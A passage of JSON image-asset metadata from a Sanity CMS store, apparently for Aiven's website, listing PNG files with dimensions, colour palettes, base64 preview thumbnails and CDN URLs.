fkKJAZIzhAhSCFUa9mLY2VBYIawYajcgLWCtq7jDJrAWBlNCJZruun9wdVjamOpNoU1hOnCYzcw8Q2+5lDpd+t0CcgEToRCjOVAEXRp6u0mlYVSBFYF1RZOGEBLO5x0xJtRab0BJhJLyVCVeGTpAFugGqzCusCpoXBH2iNPpgn0P0+U/gUI8QUfrOLriaA/qN0mfnbizS4jIzOi+FTgwzLA5pPj4fW18BRzkWY3/SMfMOfw84ffnr0jff6FdIjRmKBVs4sG6Q89QBNr72kX1Idw0zw70oVBB/vAJ+6OXSI9fgZ68Bj9/h3p3j63GBA4JfIV6ju7W1blicJ25zoFVwegdmhnl7gvo2VvQ0zdLL96jfLzHls870iWAHBrzkg8oExoVqAfuQC/iXVwHN8+Z4R1OXbfkDxNXpAjRCLdJAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#741c5c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e3174a","foreground":"#fff","population":0.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6c5a9","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef93b7","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#797f86","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3174a","foreground":"#fff","population":0.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka_service_overview.png","path":"images/sczeoy4w/production/ba78e956999a93cebfc4e4b1b3d5da0f8df1ad69-2606x1628.png","sha1hash":"ba78e956999a93cebfc4e4b1b3d5da0f8df1ad69","size":493600,"uploadId":"zX1u5CLRNofXNvagE7odg9xXljXQx5s4","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba78e956999a93cebfc4e4b1b3d5da0f8df1ad69-2606x1628.png"} {"_createdAt":"2023-05-15T10:09:54Z","_id":"image-8b7a17534344cf45d21c2f23e8fc345e550f2b68-1324x756-png","_rev":"7zkUzK17nyKradHQJJyoyK","_type":"sanity.imageAsset","_updatedAt":"2023-05-16T13:52:05Z","altText":"DevOps-friendly management screenshots of Aiven Console, API \u0026 CLI","assetId":"8b7a17534344cf45d21c2f23e8fc345e550f2b68","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MrLN.8~qD%ay%2~q-;M{ayt7D%M{t7j[WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7513227513227514,"height":756,"width":1324},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACUklEQVQokVWQ20/TYBjG+8+YTAYbXfu1O3Rdt7KxA3No2KHbZDAE4iEEE0MMXnjvtTHBhDiGQzwkg5B4h/whGmMkIms71h2+b1u/dprVxOgvz+X7y5PnJa4URWu1IIQDi6GFPgYPBzqE/R6Eqto8OTkrrzwVxfWgsBrwr4SE1WRig2i3tE6700doOBz+lfEYYzDEEPUhQs1mq14/zWa3GLYIQIEic4AqCPwdotvpIoiwjs1/GI1GpmlibCDU7/V6qjqWFxYeuVwSOZ1zTmVcjpzfu0x0Ol2E+oZh/vqfsW+YECJN0xoNtV4/TWe2KEqiXBLpzFKkxPvKRKc9ljE2rL6RaXWOMQzTMGAPtq5ajUu5fvQpIz2mQQEweRrkASjwXJnotjoD2Nd1bB2b2LD2Yox1HWOMIGprmtxQjo7PssUnjKfEuAuAzdN0fixffruQfzTUhqoqTUVWZVlRZEW2osjKz4vL8+/nXz5/PXjzMZ3fZn3LDFN0kVlqOsd7y8Tx4cn7yoe3r97VKofVSm2/erBfPahWanuV13t7td3d6s7O7ovnL7e3nyWSG6x3CYAi5cyCaWvzevFBLn57XszEQvOR0Fw0kopFUmFxbiaYCIcSISHOc+EAFxGDab+/BNhFGhRpUmL+POxGNM3RIjXpdUywdhvlsAPS4XZOslMTYPI6ZbdRtmtOu43ysHO8sOTllt3ekptd9LgXQ8IaUZJWk5GF2UBS5OO8L8z7ZoJ8NBSIB/ko5xE9jMDSPOcWY7FC6tZmPLU5G70fDt+djdy7mXr4GznNhzSihu3HAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":12.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c0742","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":12.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9bac0","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e787f2","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4659c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d118e6","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"tools.png","path":"images/sczeoy4w/production/8b7a17534344cf45d21c2f23e8fc345e550f2b68-1324x756.png","sha1hash":"8b7a17534344cf45d21c2f23e8fc345e550f2b68","size":187123,"title":null,"uploadId":"AfuOOBqRC4pJEWuzdNpuKKSlkxAVQNTb","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b7a17534344cf45d21c2f23e8fc345e550f2b68-1324x756.png"} {"_createdAt":"2024-05-08T13:57:58Z","_id":"image-cfbeed6ddf254dce9ac7dffe743b13cff7256fe1-1200x630-png","_rev":"6IjwK8t2YScx5mkOZisELq","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T13:57:58Z","assetId":"cfbeed6ddf254dce9ac7dffe743b13cff7256fe1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN{4*VU^-:Z4}]k:i]izeUY+Z*cYfgg$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACI0lEQVQokTXS+09ScRjH8YNa4KU2bdrNJd7AGGDmDTiAgNO21k/ZQFBxSmaaWU3XLEFdcjlwgGMiXtZWbeacP/Qvft912voDXns/n+2RxFSNeHGNsJGIkdh1Zo3EjSyYSJhYMvK6nlUT60a2mkl3UrBSsKA5qY5yIksibBQLbax08sbMajvrZj50sdHFx262ukn1kbKw/YBMH1U/p0G0fop9HDipDEki2ijeWkl62ZHZHmFPZt9HxosyRsFPKYQ2juqiEuAixq8wh0PkOsh3ofZKInpDvLez42fXx67MFy+ZAPkQxQmK47ovjlGSdXwe4SJK1UPOTOYe+22SiDaJdRvbMkk3KbeOswGUIOoE5UkUGcWllw/9/JzS42chSjYUM+m7kphuFGsWPrtJyez5yATJBsn4UAKoQXJu8i6KHo4ndHk1z49nVF0cOFB7JDHdIFZ72Boh6WLHQzpA2s++m6yMGiDv1XHZy9lTLuP8XuIyyvcnHA1TskoiUi+WO9hwsmlnw8anxyQHSQ6wN4jqQ/NTHKXs5mRS33w1x/lzvoWoDKE5JBE2icU7YqWD5fskbpFoZqmF5RbWWkl2U3hEwU7uIaqTqszZ2D/mpDJIdfQ/ftUuXt4W8UZmapmtIW4gUcdmK4qNkoNcL4qFrwP6tZodzaE/yaksialaEWkg1sRMPbE6ZgzMGZg3sGjg3U2yFsr9ZHpQrFSGOXHr5aNhTj1/8R/aR2+hN+1sIwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0b7bc","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac57e","foreground":"#000","population":1.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#c2949c","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.92,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Final - fast-and-flexible-self-service-bring-your-own-cloud-byoc-for-aws-now-generally-available-663b84b988095.png","path":"images/sczeoy4w/production/cfbeed6ddf254dce9ac7dffe743b13cff7256fe1-1200x630.png","sha1hash":"cfbeed6ddf254dce9ac7dffe743b13cff7256fe1","size":84622,"uploadId":"jlzeWopgOlulZbfvqRIzWye83nWWgTzJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/cfbeed6ddf254dce9ac7dffe743b13cff7256fe1-1200x630.png"} {"_createdAt":"2023-03-31T13:39:27Z","_id":"image-0522693d9f9b64c53e74584d8dbd1a62b8aa3c1f-2500x1308-png","_rev":"IfootSjA4c56MZIbwTfApQ","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T13:39:27Z","assetId":"0522693d9f9b64c53e74584d8dbd1a62b8aa3c1f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7LQX-;IAogRi_4xuM{ofRjIURit7ogae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB40lEQVQokUXQ7U/TQADH8fbaDnyAwabRKUh8h73rGEzWgdjRKjDHAB8SHtSNLdh72Do6kwHzhRglbuIqUBb+X3NlQPLJ5XcvvpemgqLRSLr+yGg8mP16f6Ye1d3B57XhlBvR3XAworobDa4R3R1I1mSNCiruuTNZfZY/zGx75rZnlry5T8eT74/SW+2ZzXb87U99o2UU/r74+Gd2ixtfPrybrN3EA1NO4t2vJewvs+6ac5Gj5ws7p/lK9w325z4f8826i/ZZ1vaz2J9e/x1J10V4FQ9OOckPR1ns58j5apXHWeyvVi9WWNcqn2Sxn2dds+SlN9up9Zaa/xFOuQCSXnx7go3nvmeKnfmS93rn1CqfZIqeUegYxc7LQscq/1v8cqZvtB5n9oand8NJp1+jEsQgIEiQDKV2R+b3R62DMav5xGqOmgexzF7MaIyY+2Ovmk8XvsWMRn+iAlSsqDgEbeUSsgVBxQASGVFZowrqkRGREFE0GmCyRkVIAMQhzpahLSNOACruQ/hWnIbiDEAiqli8+pl8QwoQEyHjAxIZEgVi7jLug/a9BI7ptSHdVSbYdclBIiIGNMZ7xE+AmIQY/0xEFISFELSjCfuh7oRTrhJnN2UAQCIhCjQmapXrPnirAlDlP2iZnEj2HXJCAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34506f","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":58.45,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":58.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b5c6bc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2bad6","foreground":"#000","population":0.85,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b14c56","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c64b4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"manage_your_resources_declaratively_terraform.png","path":"images/sczeoy4w/production/0522693d9f9b64c53e74584d8dbd1a62b8aa3c1f-2500x1308.png","sha1hash":"0522693d9f9b64c53e74584d8dbd1a62b8aa3c1f","size":106108,"uploadId":"cAP9fKUw2M8Pmcjo4udLpbiXmf6HbTNv","url":"https://cdn.sanity.io/images/sczeoy4w/production/0522693d9f9b64c53e74584d8dbd1a62b8aa3c1f-2500x1308.png"} {"_createdAt":"2023-03-31T13:46:09Z","_id":"image-cf9059de9de4d8003e89c16ad83780967cb32940-2500x1308-png","_rev":"X76Ye1KO1uMYkz1EfXBenE","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T13:46:09Z","assetId":"cf9059de9de4d8003e89c16ad83780967cb32940","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M97LNQ.8D$ogWB_Nx]IUa{ayD%Rjxuafj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB6klEQVQokV3R3W/SUBgGcGhpSxUzAmNuxs2PeLH0nFP2IVBm+NyoGyjMC5VFHS6c055CoaAYyMxcYrKwCBME2Y3/rCkSoyTPzbn4PW/O+zo4RH1K406sdTvaDCiNRaXhC1v+sOULW76IFYg2l3aagWjz1rbpgtQpaY5/c2Ozup47Sxz3kqV+qtRPHveUYjda7CrF7uOXF0rxMv62F3vzTXr2xRuqu6D+n7+5WYX58ywdHZrXBXNSMCcqHqZPvqtkmCkPMniQo+OsPoq/661nzxZCdQbYflbh2TKDh18L5vVR61fenOSM8YE+2isPVDLc134c0NGLml2q4mHo1UVg5wMLdEbSGEBs79mqgufnGTzIV3+mT66Uo8tEqZ8s9eOlfur9lT3ZGKt4EH7dffT0s2e7xkgaCzQWEEYiDg5Rf7S5ttt5kDm9m2ovPfm4kvi0mmqvpttr6fa93c5D9fT+Xmc51vKG6jyydzb1U+y0a3QO0T9hgc5C3QWnT0g5qPOI8sgQUEWEVACaCxBbgum3GUkToCbKlJeNv8uYj91YEaDhhpobYh5iFk6xAMjihrYSqXkjFhc05i85w5SBFR5VREREVBZlLMiEg8TBA+LfIMsRcyFscbIxJ2cBuhMavD0ZuxEWZewOYkHGvwG235vbo0VZCgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573044","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":58.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":58.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacd6","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcd8","foreground":"#000","population":0.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7596","foreground":"#fff","population":1.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b14c56","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"manage_your_cluster_migrations_with_mirrormaker2.png","path":"images/sczeoy4w/production/cf9059de9de4d8003e89c16ad83780967cb32940-2500x1308.png","sha1hash":"cf9059de9de4d8003e89c16ad83780967cb32940","size":124481,"uploadId":"xRCFMY8jmu9hU99dwmbIvfSgpQQVcSnY","url":"https://cdn.sanity.io/images/sczeoy4w/production/cf9059de9de4d8003e89c16ad83780967cb32940-2500x1308.png"} {"_createdAt":"2023-03-31T13:47:57Z","_id":"image-e4300785da6b44c132ce836efcb0b0b0a2e9cafe-2500x1308-png","_rev":"IfootSjA4c56MZIbwTjtZQ","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T13:47:57Z","assetId":"e4300785da6b44c132ce836efcb0b0b0a2e9cafe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75=#Q_NV@D%Mx?v-;WBIUM{IARPt7t8ax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAABqklEQVQokXXS208aQRQG8NnLLGIf2kZF2mhSaax1z+6KNinIJSwVCQip8dFgAhjnxmK0aI2iIU2fvAARiP9vM4tp04YmXybz8ptz8mWQ4fCZzdNw6iyUbIUS3+aTrQX3YnHrci51FtzwFGDIpP/N9Lq3XLhO7N+61W621s1UH7K1nlvvOXs/X8dPNYspkyVDwFAw6i0XbtxatyxGX72nkhjt8GGBDuL7t28z3w2bT8IMAUcgJP5Y6mwd9gt0UG6MdptP5caoSAdf6j1n98dcooUd8ffyTEpLSDy97q2WOpnqQ6pyn6zc5cmgyIf5o8fcYT99cL+y03nxqfl7uCLDFDm2IZ8wHB5Ktt7lLhfci3D6fCl39aF48z7fjmxfRbbb86nzwFpjLFWT6kB0IBpQFYQCAikm1S1m2BxbfHyZcrhhP0eXhTEkpzEdKLaOMBA/TAeGVJMELBq0ueFwFWS3f7IqT19yzeLYprpFVaAaUAw0YBIUADIbpW9ix69iJ3hNSAP/dqtIKbHqNyeXNX1sAJmJknCs+fLzCXbExM+gAMM28/FzbZpJDCC/APlvjaZDv8thAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344f76","foreground":"#fff","population":0.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":69.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":69.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8ea0c0","foreground":"#000","population":0.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bad6","foreground":"#000","population":0.59,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7594","foreground":"#fff","population":1.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c54b4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"postgresql_commands_fingertips_social_media.png","path":"images/sczeoy4w/production/e4300785da6b44c132ce836efcb0b0b0a2e9cafe-2500x1308.png","sha1hash":"e4300785da6b44c132ce836efcb0b0b0a2e9cafe","size":119026,"uploadId":"Ez2CIqY8JpMgaBz4VUZ0H3USBKIsdMEY","url":"https://cdn.sanity.io/images/sczeoy4w/production/e4300785da6b44c132ce836efcb0b0b0a2e9cafe-2500x1308.png"} {"_createdAt":"2023-03-31T13:50:14Z","_id":"image-c05115c3bd33316a3b4301b9fe0c381305b5d5f5-2500x1308-png","_rev":"Fl2c73WgS9jO0pBHiRbCdJ","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T13:50:14Z","assetId":"c05115c3bd33316a3b4301b9fe0c381305b5d5f5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96+9u-=IUWBMx_NxuMxj]RjM_RPaet7t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB7UlEQVQokU2R/W/SQBjH22sPNo3K2zb9QU1mNNK7MkZGy8uy8aIww7YfFgU3zYBJ27siLWMxWTaDGjJggUJw+4PNgTKTb55cntwnn2/uOFEmDxUrEG8F4qcrm2fLiZZfafpVOxBr+lTbp9pLydZSvBmINb2K5QpRgHRO+pfFcP1F/lIt9aLFbuKov/V5kDjsJw77yaNrpXi1ftCZ7bePB5H3neVkC8rkDr63bgYL7XTVSVecTNXJ1cZvvoxT5WH2ZJSuOMlP16nyMK9Nds3b7MlI2m0/iFr8XH4/Usf7P/PaZM+8LZDfudo4U3W2y8N0xYl97IX2f0UOOmqxGyv1YqUu3vvhVW2ADR7pPDNH6q8L7Ux1VKA3BXqzo0/SFWfreBD9cPU09c2z0fBGLZ9i+xTLr1iejYY7RAE2ACYAUQ7K1Bc7fZY9X81dvNy5fPXu++rbi+fZ85XNs4U1k5eYAQQ1QdJEVBPZ1ARMgGzyuM7xyBCQATGBMnHJZGE6oUxE1m1aD+kC1qGssWANsjMFcp3BQNLdWF8Mkek3GHyQqWaZvQpAujglAdIA0gWkQ0xFZjY5N9ICYf2J2vCoNlyjc2YWXtIFzEgB321ERCCmAJucC2n+sPZY/fpIsWGI/k/+vcqqMud8CSQDIiIi+gdsd5demZ/3iQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345073","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":63.92,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":63.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacd7","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2badb","foreground":"#000","population":0.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#617795","foreground":"#fff","population":1.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c6cb4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"use_the_power_of_oss_bi_social_media.png","path":"images/sczeoy4w/production/c05115c3bd33316a3b4301b9fe0c381305b5d5f5-2500x1308.png","sha1hash":"c05115c3bd33316a3b4301b9fe0c381305b5d5f5","size":116320,"uploadId":"UwJQqq2WB91XcOQgfHbEBlBNL2R41kXT","url":"https://cdn.sanity.io/images/sczeoy4w/production/c05115c3bd33316a3b4301b9fe0c381305b5d5f5-2500x1308.png"} {"_createdAt":"2023-08-25T08:07:49Z","_id":"image-be01af6b8e482e512883b2635dd78202425237f1-1567x844-png","_rev":"JgIs2qI3CUllaKCG3TtlwP","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T08:07:49Z","assetId":"be01af6b8e482e512883b2635dd78202425237f1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC7x2}%JRgt7Rj_4ocNFogR*V?Rkaef8od","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACbUlEQVQokT3N+VMSYQDG8f0LZGHZi5d992IXDAmzHFMQRTkyQ24WVm4WOUXDJghQU0knU9GpqWmc6l+tbKaZ59fP80UwkCJhhmRVistTXInkNJPQgPIea+tyj3qcfcDZj3j7MWvrA6kDpDYj79JCFQOqjkwgwnRxYXnfG+yvBgautXfz7t7Cymg1OF7f/OjfuvaFJt6Xd+7A7dL65bL/1LV+6AmcLq29lxy7BpBDbM6qb6MfU8Yx5TycPA/FLyLKp5h6G1c/p/LflMK9UvgRydxvJb/E1Ztw8nIjOvEEr2xPhhTfQaxObcX/diN8uBU/iygXye2rVHYSSU9exW9eJe4S2e9q+ZdS+BnNfI2rt+HUxO2/lmdPGOsQWI8R0V5e8nYDodFm9GQzOg6EzhZXD53PBzPPBjPzR0/dH1y+K5fves49nl0cOhf64swbkm8T/J5J6iNQzs8ttr3BnvfFwOMfznv6gr1D8i2S79Bi1yT1mOkRtI1oywHB1Y1MCQN5Pchh5hLBNhHMlKQ4FUoFKJegtcrIdYqv47BBsH/vSeGAEnuU2CO4Dmau6OmsART+DYc1REfEdEQMJZMonUZNWQMoGZnqA27hbJPgWqSwTwldgmsZQEFPbxuZHZxtYOYyZq4gFBVlmQRryQGxaGQK/zHONjFGM4AixlRwWDcyVT2dRekMDms42zCAPEqlEd4cdVgUx2NNctRovmyEZYLdIbkWybdxqBlAFjPncKgZmTJKZVBKeWiWdJQyRcQQyKUFURWtRc5WMVs0INUYuQWtHdb2mpF3TaJmEjVgaRJsBaUUHZnU09sonZkiE3/wb/iyqHtGF83hAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353164","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04186f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbe9","foreground":"#000","population":7.69,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbe9","foreground":"#000","population":7.69,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7579bf","foreground":"#fff","population":0.43,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7094","foreground":"#fff","population":1.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252e91","foreground":"#fff","population":2.75,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"grafana-visualize-pg.png","path":"images/sczeoy4w/production/be01af6b8e482e512883b2635dd78202425237f1-1567x844.png","sha1hash":"be01af6b8e482e512883b2635dd78202425237f1","size":132123,"uploadId":"0R5xAPjPD41V6E2co5wPzE9nxewyEzEh","url":"https://cdn.sanity.io/images/sczeoy4w/production/be01af6b8e482e512883b2635dd78202425237f1-1567x844.png"} {"_createdAt":"2023-04-12T13:21:59Z","_id":"image-a6b9fe3f7e0c14067c1c7e0a6d5d445e063007fd-1567x844-png","_rev":"ULcVtA1fOCO5xNRu1Yf0J1","_type":"sanity.imageAsset","_updatedAt":"2023-04-12T13:21:59Z","assetId":"a6b9fe3f7e0c14067c1c7e0a6d5d445e063007fd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TNya*Xem-TeU_Nkpemi~eTemd?g4gMfO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACbUlEQVQokU3T21PUdRzG8Z8NcViMlNExGjIHhc04i4gCAjHpdJiy0bJ2hVVhpJoJS8UwIyDYhQXkLDQdpjGv+gd3uujX99Vse9PF+/Y9zzzP5xO5Xk4qQaqSdAWZBLcS3K5kvJKJKr6o5KsEdxPcO8jMMfJNbLSxdYa9C/zUx36vyM0jTCZ50M79Zh628F0nj9t53MJMkTeZaybbQf4su8P8foXn13h+lWdX+PVt9npEbh9jqovZIX7oZ7aXxSGyg2QvsjxIfoCVPlb72LnEH2n+vMWzj/h5mP2L7HTxJCkyXsd0D3PDzA2WhAsDZAdYfov1d9h6j83LrPay3s8vH/Lb+2x0kK0nV89SPQtH/ycsJpwdYOY8830s9LM8xMa77HzA5iVyncw2kEuy1spKE0uvk28gf4JsnUimlsk3mOpgqo37p3nYzKNid20sdJM7z4+tTL/Kgxq+P8rSSdZb2Opgu5PNVtYaRT4u47MqblQzWk2mqrTyeII71Xz5EncP8XUNkxV8U1laeSVZkm22ldhqL3UYrkbhP65FIXwShfBpFEIqCuFGFMJoFMLYgWCyOpg6HEzVBN++HMJ8ffCkOdjqDNaSwWpjsNFSRCRVTFXLzVpGD5IuIx0xEpGJmHiR6VfInmKxgfnXyJ1ks7207FqS1Ua2O3h6LkRGD8cmjsc+Px4bOxIbKY+lo9hIFMtEsTtlcXhUF1ttia21xJZO/SOfDLa7QtjtDtabS+mengulw75eXpBKFKSLVBSkXihIRwUjUUEmKhg7UAj3DhVCrqkQVk4XLJ74Sz75t53uYK8n2D4T7J4N9i+E4rf8C3nVPr8N8kNcAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79461f","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b6692f","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935605","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac37a","foreground":"#000","population":0.5,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Free_PostgreSQL_MySQL_and_Redis_blog